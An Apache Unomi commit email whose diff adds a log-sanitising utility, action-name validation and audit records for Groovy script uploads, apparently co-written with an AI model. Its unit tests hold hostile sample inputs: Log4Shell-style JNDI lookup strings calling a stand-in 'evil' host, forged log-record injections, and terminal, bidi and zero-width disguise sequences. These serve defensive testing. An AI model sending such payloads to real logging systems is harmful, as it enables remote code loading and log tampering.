This is an automated email from the ASF dual-hosted git repository. asf-gitbox-commits pushed a commit to branch UNOMI-972-followup-groovy-hardening-clean in repository https://gitbox.apache.org/repos/asf/unomi.git
commit af6ded8bb38399cecdcbfbb15c54a513b6561b40 Author: Serge Huber <[email protected]> AuthorDate: Fri Aug 14 13:37:28 2026 +0200 WIP: Groovy action-name validation and save auditing (no ticket yet) Not part of the reported issues and not yet filed as a Jira ticket. Pushed unmerged so the work is not carried on one machine only; it is cut on top of UNOMI-976 because it builds on the same compile path, and will need re-cutting onto master once that lands. Two additions to GroovyActionsServiceImpl: * validateActionName rejects a name carrying control characters, bidirectional overrides or zero-width characters, and caps its length. The name is caller-supplied - on the REST path it is the uploaded multipart filename - and becomes a persistence id, a cache key, a GroovyCodeSource name and a field in many log messages, so validating at the entry point covers all of those at once. It rejects rather than rewrites, because silently altering the name would change the id the action is stored under. * save() emits an audit record carrying the outcome and a hash of the script, so a later question about what was uploaded and by whom has an answer that does not depend on retaining the script. LogSanitizer and its test are taken from the UNOMI-975 branch rather than from the original working branch, which predated the negative-limit clamp and would have regressed it. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> --- .../org/apache/unomi/api/utils/LogSanitizer.java | 83 ++++++++ .../apache/unomi/api/utils/LogSanitizerTest.java | 229 +++++++++++++++++++++ extensions/groovy-actions/services/pom.xml | 8 +- .../services/impl/GroovyActionsServiceImpl.java | 119 +++++++++++ .../impl/GroovyActionsServiceImplTest.java | 182 ++++++++++++++++ 5 files changed, 619 insertions(+), 2 deletions(-) diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java new file mode 100644 index 000000000..6d7b237bb --- /dev/null +++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +/** + * Sanitizes untrusted, request-derived values before they are written to a log. + * <p> + * Anything that arrives over the network is untrusted, so writing it verbatim into a log + * makes the log itself a surface worth defending: an embedded newline lets an untrusted caller inject + * log records (making real activity look like routine traffic, or implicating someone else), control characters + * can corrupt terminals and log shippers, and an unbounded value can flood the log. Security + * warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and + * trusted during incident response. + * <p> + * Values that never leave the server — enum names, role sets, hashes, rule configuration authored by + * an administrator — do not need this. Use it for request bodies, headers, cookies, query and path + * parameters, uploaded filenames, and event properties. + */ +public final class LogSanitizer { + + /** Long enough to identify a value, short enough that it cannot flood the log. */ + private static final int MAX_LENGTH = 200; + + private LogSanitizer() { + } + + /** + * Replaces every character that is not printable ASCII, and every log-format marker + * ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control + * characters used for log injection, and neutralises markers that a downstream log formatter + * might otherwise interpret. + * + * @param input the untrusted value, may be {@code null} + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input) { + return forLogging(input, MAX_LENGTH); + } + + /** + * As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need + * more room (a request URL, an exception message) than the default. + * + * @param input the untrusted value, may be {@code null} + * @param maxLength the length beyond which the value is truncated + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input, int maxLength) { + if (input == null) { + return "null"; + } + // Clamped: a negative limit would make substring throw, from inside a helper whose whole + // contract is that it is always safe to call in a log statement. No caller passes one today, + // but a computed limit (a remaining-budget calculation, say) would be an easy way to turn a + // security-refusal log line into an uncaught exception. + int limit = Math.max(0, maxLength); + String value = input.length() > limit ? input.substring(0, limit) + "...[truncated]" : input; + StringBuilder sanitized = new StringBuilder(value.length()); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { + sanitized.append(c); + } else { + sanitized.append('_'); + } + } + return sanitized.toString(); + } +} diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java new file mode 100644 index 000000000..338ab062b --- /dev/null +++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java @@ -0,0 +1,229 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * The values this guards are untrusted by definition — uploaded filenames, event property + * names, cookies, session ids — so these are the cases an untrusted caller would actually try. + */ +public class LogSanitizerTest { + + /** + * The core defence: a newline would let an untrusted caller close the current log record and write their + * own, injecting an entry that an operator or SIEM would read as genuine. + */ + @Test + public void newlinesCannotInjectALogRecord() { + String injected = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved"; + + String sanitized = LogSanitizer.forLogging(injected); + + assertFalse("a newline must not survive into the log", sanitized.contains("\n")); + assertFalse("a carriage return must not survive into the log", sanitized.contains("\r")); + assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_")); + } + + @Test + public void controlCharactersAreReplaced() { + // ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary + // printable text, which is why only the ESC itself needs replacing. + String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d"); + + assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0); + assertFalse("TAB must not survive", sanitized.contains("\t")); + assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0); + assertEquals("a_[2Jb_c_d", sanitized); + } + + /** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */ + @Test + public void logFormatMarkersAreNeutralised() { + String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertFalse(sanitized.contains("%")); + } + + @Test + public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() { + String sanitized = LogSanitizer.forLogging("a".repeat(5000)); + + assertTrue(sanitized.endsWith("...[truncated]")); + assertTrue("truncated output must stay bounded", sanitized.length() < 300); + } + + @Test + public void callerSuppliedLimitIsHonoured() { + assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3)); + } + + @Test + public void ordinaryValuesArePassedThroughUnchanged() { + assertEquals("myAction", LogSanitizer.forLogging("myAction")); + assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890", + LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890")); + } + + /** Distinguishable from an empty value, so an audit record never silently loses a field. */ + @Test + public void nullBecomesAnExplicitMarker() { + assertEquals("null", LogSanitizer.forLogging(null)); + } + + // --------------------------------------------------------------------------------------- + // Inputs that a naive implementation of this filter would let through. Each is here because + // some plausible shortcut - matching a literal name, checking isISOControl - misses it. + // --------------------------------------------------------------------------------------- + + /** + * The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode + * line terminators but are <em>not</em> ISO controls, so a validator written against that + * predicate lets them through while JSON log pipelines and JS-based log viewers still break the + * line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not. + */ + @Test + public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() { + assertFalse(Character.isISOControl('\u2028')); + assertFalse(Character.isISOControl('\u2029')); + + String sanitized = LogSanitizer.forLogging("a\u2028injected\u2029line\u0085nel"); + + assertEquals("a_injected_line_nel", sanitized); + } + + /** + * A log4j lookup can be assembled from nested lookups, so matching on a literal name such as + * {@code jndi} is not a sound filter. This sanitizer instead removes the {@code $} and braces + * that make a lookup a lookup, which covers the whole family rather than the spellings someone + * thought to enumerate. + */ + @Test + public void nestedLookupSyntaxIsNeutralised() { + String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}";); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a";)); + } + + /** + * A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can + * split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders + * reject or mangle. Filtering after truncation means the orphan is replaced like any other + * non-ASCII char, so the result is always well-formed. + */ + @Test + public void truncationCannotLeaveAnUnpairedSurrogate() { + String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair + StringBuilder payload = new StringBuilder(); + for (int i = 0; i < 199; i++) { + payload.append('a'); + } + payload.append(emoji); + + String sanitized = LogSanitizer.forLogging(payload.toString()); + + for (int i = 0; i < sanitized.length(); i++) { + assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i))); + } + } + + /** + * Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so + * an untrusted caller can make a log line read as something else entirely in a live terminal. + */ + @Test + public void terminalRewritingSequencesAreRemoved() { + String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007"); + + assertFalse(sanitized.contains("\b")); + assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0); + assertTrue(sanitized.startsWith("denied")); + } + + /** + * Right-to-left override reverses the display order of everything after it, so a log entry can + * be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a + * grep would match. + */ + @Test + public void bidiOverrideCannotReorderTheDisplayedLine() { + String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c"); + + assertFalse(sanitized.contains("\u202e")); + assertFalse(sanitized.contains("\u202c")); + } + + /** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */ + @Test + public void zeroWidthCharactersCannotHideATokenFromSearch() { + String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff"); + + assertFalse(sanitized.contains("\u200b")); + assertFalse(sanitized.contains("\ufeff")); + assertEquals("ad_min_", sanitized); + } + + /** + * A payload placed beyond the truncation point must not come back: truncation happens first, so + * anything past the limit is gone before it can be interpreted. + */ + @Test + public void payloadHiddenBeyondTheTruncationPointIsDropped() { + String sanitized = LogSanitizer.forLogging("a".repeat(400) + "\nWARN injected-record"); + + assertFalse(sanitized.contains("injected-record")); + assertFalse(sanitized.contains("\n")); + } + + /** + * An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a + * surviving backslash would become a real newline. Filtering the backslash removes that + * second-order path. + */ + @Test + public void escapedNewlineCannotBeRevivedDownstream() { + String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac"); + + assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\")); + } + + /** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */ + @Test + public void sanitizationIsIdempotent() { + String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00"); + + assertEquals(once, LogSanitizer.forLogging(once)); + } + + /** A negative limit must not throw: this helper is called from inside log statements. */ + @Test + public void negativeLimitIsClampedRatherThanThrowing() { + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", -1)); + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", 0)); + } + +} diff --git a/extensions/groovy-actions/services/pom.xml b/extensions/groovy-actions/services/pom.xml index d4070f3e6..30e623009 100644 --- a/extensions/groovy-actions/services/pom.xml +++ b/extensions/groovy-actions/services/pom.xml @@ -167,9 +167,13 @@ <artifactId>jackson-datatype-jsr310</artifactId> <scope>test</scope> </dependency> + <!-- logback rather than slf4j-simple: the audit-record test asserts on captured log events + via ListAppender, which needs a binding that exposes them. Same version and scope as the + services module, which uses the identical pattern. --> <dependency> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-simple</artifactId> + <groupId>ch.qos.logback</groupId> + <artifactId>logback-classic</artifactId> + <version>1.2.13</version> <scope>test</scope> </dependency> <dependency> diff --git a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java index 09307e038..e047d76c5 100644 --- a/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java +++ b/extensions/groovy-actions/services/src/main/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImpl.java @@ -23,6 +23,7 @@ import groovy.lang.Script; import groovy.util.GroovyScriptEngine; import org.apache.commons.io.FilenameUtils; import org.apache.commons.io.IOUtils; +import org.apache.unomi.api.ExecutionContext; import org.apache.unomi.api.Metadata; import org.apache.unomi.api.Parameter; import org.apache.unomi.api.actions.ActionType; @@ -32,6 +33,7 @@ import org.apache.unomi.api.services.SchedulerService; import org.apache.unomi.api.services.cache.CacheableTypeConfig; import org.apache.unomi.api.services.cache.MultiTypeCacheService; import org.apache.unomi.api.tenants.TenantService; +import org.apache.unomi.api.utils.LogSanitizer; import org.apache.unomi.groovy.actions.GroovyAction; import org.apache.unomi.groovy.actions.GroovyBundleResourceConnector; import org.apache.unomi.groovy.actions.ScriptMetadata; @@ -58,6 +60,8 @@ import java.io.InputStream; import java.io.Serializable; import java.net.URL; import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.stream.Collectors; @@ -103,6 +107,8 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im private volatile Map<String, Map<String, ScriptMetadata>> scriptMetadataCacheByTenant = new ConcurrentHashMap<>(); private final Map<String, Set<String>> loggedRefreshErrors = new ConcurrentHashMap<>(); private static final int MAX_LOGGED_ERRORS = 100; // Prevent memory leak + /** An action name is an identifier and a persistence id; nothing legitimate approaches this. */ + private static final int MAX_ACTION_NAME_LENGTH = 255; private static final Logger LOGGER = LoggerFactory.getLogger(GroovyActionsServiceImpl.class.getName()); private static final String BASE_SCRIPT_NAME = "BaseScript"; @@ -471,6 +477,50 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im } } + /** + * Rejects an action name containing control characters. + * <p> + * The name is caller-supplied — on the REST path it is the uploaded multipart filename — and it + * becomes a persistence id, a cache key, a {@code GroovyCodeSource} name and a field in a dozen + * log messages. A newline in it would let an uploader inject log records, including the audit + * record of their own upload. Rejecting at the entry point fixes every one of those uses at + * once, and keeps future log statements safe without each having to remember to sanitize. + * <p> + * Deliberately a rejection rather than a rewrite: silently altering the name would change the id + * an action is stored and looked up under. + */ + private void validateActionName(String value, String parameterName) { + if (value.length() > MAX_ACTION_NAME_LENGTH) { + throw new IllegalArgumentException(parameterName + " must not exceed " + MAX_ACTION_NAME_LENGTH + + " characters (was " + value.length() + ")"); + } + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (isRejectedInIdentifier(c)) { + throw new IllegalArgumentException(parameterName + + " must not contain control, bidirectional-override or zero-width characters" + + " (found one at position " + i + ")"); + } + } + } + + /** + * Characters that have no legitimate place in an identifier and that misrepresent a log record. + * <p> + * Not just {@link Character#isISOControl}: U+2028 and U+2029 are line terminators that predicate + * does not report, bidirectional overrides reverse how the rest of a line *displays* without + * changing the bytes a search would match, and zero-width characters split a token so an + * exact-match alert stops firing on it. Printable non-ASCII is deliberately still allowed - an + * accented filename is a legitimate action name and rejecting it would break existing callers. + */ + private static boolean isRejectedInIdentifier(char c) { + return Character.isISOControl(c) + || c == '\u2028' || c == '\u2029' // line/paragraph separators + || (c >= '\u202a' && c <= '\u202e') // bidi embedding/override + || (c >= '\u2066' && c <= '\u2069') // bidi isolates + || c == '\u200b' || c == '\u200c' || c == '\u200d' // zero-width space/joiners + || c == '\ufeff'; // zero-width no-break space / BOM + } /** * Thread-safe script compilation using synchronized shared shell. @@ -482,6 +532,67 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im } } + /** + * Records every change to the deployed Groovy actions at WARN. + * <p> + * A Groovy action runs unrestricted in the server JVM, so saving one is equivalent to granting + * shell access to the host. There is no sandbox to fall back on — the Java SecurityManager is + * removed, and Groovy's {@code SecureASTCustomizer} is a compile-time syntax restriction that + * dynamic dispatch routes around — so the controls are the ADMINISTRATOR role on the endpoint + * and this record of who changed what. WARN rather than INFO deliberately: this must survive a + * production log configuration that drops INFO, otherwise there is no trace of the change. + * <p> + * The script hash lets an operator tell an unchanged redeploy from a modified script, and gives + * incident response something to compare against a known-good inventory, without writing + * possibly-sensitive script bodies to the log. The tenant and role set come from the current + * execution context; the authenticated principal is in the REST access log for the same request. + * + * Emitted twice per operation: once as {@code attempted} before the work starts, so an upload + * that crashes the JVM still leaves a trace, and once with the outcome afterwards. Without the + * second record a failed or no-op save was indistinguishable from a deployed change, which made + * the trail misleading for exactly the operation this exists to track. + * + * @param operation the change being made, {@code save} or {@code remove} + * @param actionName the action being changed + * @param script the script being stored, or {@code null} when removing or reporting outcome + * @param outcome {@code attempted}, {@code success}, {@code unchanged} or {@code failed} + */ + private void auditScriptChange(String operation, String actionName, String script, String outcome) { + String tenantId = "unknown"; + String roles = "unknown"; + try { + ExecutionContext context = contextManager.getCurrentContext(); + if (context != null) { + tenantId = context.getTenantId(); + roles = String.valueOf(context.getRoles()); + } + } catch (RuntimeException e) { + // An audit record with less detail beats losing the record, and beats failing the + // operation over its own logging. + LOGGER.debug("Could not resolve the execution context for the Groovy action audit record", e); + } + // actionName is caller-supplied (the uploaded multipart filename, or the DELETE path + // parameter), so it must not reach the log verbatim: a newline in it would let an uploader + // inject additional audit records and hide their own. The hash and the role set are + // server-generated and safe as-is. + LOGGER.warn("AUDIT groovy-action {} {}: action={} tenant={} roles={} scriptSha256={}", + operation, outcome, LogSanitizer.forLogging(actionName), LogSanitizer.forLogging(tenantId), roles, + script == null ? "n/a" : sha256(script)); + } + + private static String sha256(String value) { + try { + byte[] digest = MessageDigest.getInstance("SHA-256").digest(value.getBytes(StandardCharsets.UTF_8)); + StringBuilder hex = new StringBuilder(digest.length * 2); + for (byte b : digest) { + hex.append(String.format("%02x", b)); + } + return hex.toString(); + } catch (NoSuchAlgorithmException e) { + // SHA-256 is mandated by the JLS, so this cannot happen on a valid JRE. + return "unavailable"; + } + } /** * Compiles a script to its Class without instantiating it. @@ -537,9 +648,11 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im @Override public void save(String actionName, String groovyScript) { validateNotEmpty(actionName, "Action name"); + validateActionName(actionName, "Action name"); validateNotEmpty(groovyScript, "Groovy script"); long startTime = System.currentTimeMillis(); + auditScriptChange("save", actionName, groovyScript, "attempted"); LOGGER.info("Saving script: {}", actionName); try { @@ -547,6 +660,7 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im ScriptMetadata existingMetadata = scriptMetadataMap.get(actionName); if (existingMetadata != null && !existingMetadata.hasChanged(groovyScript)) { + auditScriptChange("save", actionName, null, "unchanged"); LOGGER.info("Script {} unchanged, skipping recompilation ({}ms)", actionName, System.currentTimeMillis() - startTime); return; @@ -569,11 +683,13 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im scriptMetadataMap.put(actionName, metadata); long totalTime = System.currentTimeMillis() - startTime; + auditScriptChange("save", actionName, groovyScript, "success"); LOGGER.info("Script {} saved and compiled successfully (total: {}ms, compilation: {}ms)", actionName, totalTime, compilationTime); } catch (Exception e) { long totalTime = System.currentTimeMillis() - startTime; + auditScriptChange("save", actionName, null, "failed"); LOGGER.error("Failed to save script: {} ({}ms)", actionName, totalTime, e); throw new RuntimeException("Failed to save script: " + actionName, e); } @@ -601,7 +717,9 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im @Override public void remove(String actionName) { validateNotEmpty(actionName, "Action name"); + validateActionName(actionName, "Action name"); + auditScriptChange("remove", actionName, null, "attempted"); LOGGER.info("Removing script: {}", actionName); // Snapshot the metadata before the locked removal so we can extract the @Action @@ -633,6 +751,7 @@ public class GroovyActionsServiceImpl extends AbstractMultiTypeCachingService im } } + auditScriptChange("remove", actionName, null, "success"); LOGGER.info("Script {} removed successfully", actionName); } diff --git a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java index 557ff0649..e8828823b 100644 --- a/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java +++ b/extensions/groovy-actions/services/src/test/java/org/apache/unomi/groovy/actions/services/impl/GroovyActionsServiceImplTest.java @@ -55,6 +55,13 @@ import java.util.*; import static org.junit.Assert.*; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; +import ch.qos.logback.classic.Level; +import ch.qos.logback.classic.spi.ILoggingEvent; +import ch.qos.logback.core.read.ListAppender; +import java.io.File; +import java.nio.file.Path; +import java.util.List; +import static org.junit.Assume.assumeTrue; /** * Unit tests for the GroovyActionsServiceImpl class. @@ -545,4 +552,179 @@ public class GroovyActionsServiceImplTest { }); } } + + /** + * The audit record is the only durable trace of an operation the threat model calls equivalent to + * shell access, so it needs a test of its own rather than being assumed to work. Captures the real + * log events instead of asserting on a helper's return value, because what matters is that a WARN + * record actually reaches an appender - a production log config that drops INFO must still get it. + */ + @Test + public void testSaveEmitsAnAuditRecordWithOutcomeAndHash() throws Exception { + String groovyScript = loadGroovyScript( + "/META-INF/cxs/actions/testSaveAction.groovy", "Could not find test Groovy action file"); + ch.qos.logback.classic.Logger auditLogger = (ch.qos.logback.classic.Logger) + org.slf4j.LoggerFactory.getLogger(GroovyActionsServiceImpl.class.getName()); + ListAppender<ILoggingEvent> appender = new ListAppender<>(); + appender.start(); + auditLogger.addAppender(appender); + try { + contextManager.executeAsTenant(TENANT_1, () -> { + groovyActionsService.save("auditedAction", groovyScript); + }); + + List<String> audits = appender.list.stream() + .filter(e -> e.getLevel() == Level.WARN) + .map(ILoggingEvent::getFormattedMessage) + .filter(m -> m.startsWith("AUDIT groovy-action")) + .collect(java.util.stream.Collectors.toList()); + + assertEquals("expected an attempt record and an outcome record, got: " + audits, 2, audits.size()); + assertTrue(audits.get(0), audits.get(0).startsWith("AUDIT groovy-action save attempted:")); + assertTrue(audits.get(1), audits.get(1).startsWith("AUDIT groovy-action save success:")); + for (String audit : audits) { + assertTrue("the action must be identified: " + audit, audit.contains("action=auditedAction")); + assertTrue("the tenant must be recorded: " + audit, audit.contains("tenant=" + TENANT_1)); + } + // The hash lets an operator tell an unchanged redeploy from a modified script without + // writing the script body to the log. + assertTrue("the attempt record must carry the script hash: " + audits.get(0), + audits.get(0).matches(".*scriptSha256=[0-9a-f]{64}$")); + } finally { + auditLogger.detachAppender(appender); + } + } + + /** A failed save must not be recorded as if the action had been deployed. */ + @Test + public void testFailedSaveIsAuditedAsFailedNotSuccess() throws Exception { + ch.qos.logback.classic.Logger auditLogger = (ch.qos.logback.classic.Logger) + org.slf4j.LoggerFactory.getLogger(GroovyActionsServiceImpl.class.getName()); + ListAppender<ILoggingEvent> appender = new ListAppender<>(); + appender.start(); + auditLogger.addAppender(appender); + try { + contextManager.executeAsTenant(TENANT_1, () -> { + try { + groovyActionsService.save("brokenAction", "this is not valid groovy {{{"); + } catch (RuntimeException expected) { + // compilation failure is the point + } + }); + + List<String> audits = appender.list.stream() + .filter(e -> e.getLevel() == Level.WARN) + .map(ILoggingEvent::getFormattedMessage) + .filter(m -> m.startsWith("AUDIT groovy-action")) + .collect(java.util.stream.Collectors.toList()); + + assertTrue("a failed save must be audited: " + audits, audits.size() >= 2); + assertTrue("the outcome must be failed, not success: " + audits, + audits.stream().anyMatch(a -> a.startsWith("AUDIT groovy-action save failed:"))); + assertTrue("no success record may be emitted for a failed save: " + audits, + audits.stream().noneMatch(a -> a.startsWith("AUDIT groovy-action save success:"))); + } finally { + auditLogger.detachAppender(appender); + } + } + + /** + * The action name is the uploaded filename on the REST path, so it is caller-controlled, and it + * ends up in a dozen log messages including the upload audit record. A newline in it would let + * an uploader append injected log lines — hiding their own upload behind a fabricated one. Reject + * it at the entry point rather than sanitizing at each log site, which the next log statement + * would forget. + */ + @Test + public void testSaveRejectsActionNamesWithControlCharacters() throws Exception { + String groovyScript = loadGroovyScript( + "/META-INF/cxs/actions/testSaveAction.groovy", + "Could not find test Groovy action file"); + String forgedName = "innocent\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=approved"; + + contextManager.executeAsTenant(TENANT_1, () -> { + try { + groovyActionsService.save(forgedName, groovyScript); + fail("an action name containing a newline must be rejected"); + } catch (IllegalArgumentException e) { + assertTrue(e.getMessage(), e.getMessage().contains("control, bidirectional-override or zero-width characters")); + } + try { + groovyActionsService.remove(forgedName); + fail("remove must reject the same names as save"); + } catch (IllegalArgumentException e) { + assertTrue(e.getMessage(), e.getMessage().contains("control, bidirectional-override or zero-width characters")); + } + // U+2028 is a line terminator that Character.isISOControl does not report, so a check + // written against that predicate alone would let this through. + try { + groovyActionsService.save("innocent\u2028forged-record", groovyScript); + fail("U+2028 LINE SEPARATOR must be rejected too"); + } catch (IllegalArgumentException e) { + assertTrue(e.getMessage(), e.getMessage().contains("control, bidirectional-override or zero-width characters")); + } + }); + } + + /** + * Rejecting only ISO control characters was narrower than the guarantee the javadoc claimed. + * A bidirectional override reverses how the rest of a log line *displays* without changing the + * bytes a search matches; zero-width characters split a token so an exact-match alert stops + * firing. Both reach the action name's other log sites, so both are rejected at the entry point. + * Printable non-ASCII stays allowed - an accented filename is a legitimate action name. + */ + @Test + public void testSaveRejectsDisguisingCharactersInActionNames() throws Exception { + String groovyScript = loadGroovyScript( + "/META-INF/cxs/actions/testSaveAction.groovy", "Could not find test Groovy action file"); + + String[] disguised = { + "action\u202edesrever", // right-to-left override + "action\u2066isolated", // bidi isolate + "act\u200bion", // zero-width space + "action\ufeff" // zero-width no-break space / BOM + }; + contextManager.executeAsTenant(TENANT_1, () -> { + for (String name : disguised) { + try { + groovyActionsService.save(name, groovyScript); + fail("must reject a disguising character in an action name: " + escaped(name)); + } catch (IllegalArgumentException expected) { + assertTrue(expected.getMessage(), expected.getMessage().contains("zero-width")); + } + } + // An over-long name is bounded too: it is a persistence id and a log field. + StringBuilder tooLong = new StringBuilder(); + for (int i = 0; i < 300; i++) { + tooLong.append('a'); + } + try { + groovyActionsService.save(tooLong.toString(), groovyScript); + fail("must reject an over-long action name"); + } catch (IllegalArgumentException expected) { + assertTrue(expected.getMessage(), expected.getMessage().contains("must not exceed")); + } + }); + } + + /** Printable non-ASCII must keep working: rejecting it would break existing action names. */ + @Test + public void testSaveAcceptsAccentedActionNames() throws Exception { + String groovyScript = loadGroovyScript( + "/META-INF/cxs/actions/testSaveAction.groovy", "Could not find test Groovy action file"); + contextManager.executeAsTenant(TENANT_1, () -> { + groovyActionsService.save("actionAccentu\u00e9e", groovyScript); + }); + contextManager.executeAsTenant(TENANT_1, () -> { + assertNotNull(groovyActionsService.getCompiledScript("actionAccentu\u00e9e")); + }); + } + + private static String escaped(String s) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < s.length(); i++) { + sb.append(String.format("\\u%04x", (int) s.charAt(i))); + } + return sb.toString(); + } }
